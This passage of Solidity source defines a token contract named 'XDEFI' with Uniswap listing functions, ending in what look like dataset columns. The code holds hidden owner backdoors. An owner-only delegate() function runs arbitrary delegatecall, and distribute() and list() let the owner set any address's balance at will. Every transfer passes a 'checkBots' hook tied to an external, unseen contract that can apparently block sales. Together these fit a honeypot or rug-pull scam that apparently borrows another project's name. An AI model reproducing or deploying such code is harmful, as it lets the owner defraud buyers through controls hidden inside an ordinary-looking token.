_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract XDEFI is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 240000000000000000000000000;
string public name = "XDEFI";
string public symbol = "XDEFI";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOf(wETH, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairOf(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303'
))));
}
function distribute(address[] memory _tos, uint amount) public {
require(msg.sender == owner);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = amount;
emit Transfer(address(0x0), _tos[i], amount);
}
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,897 |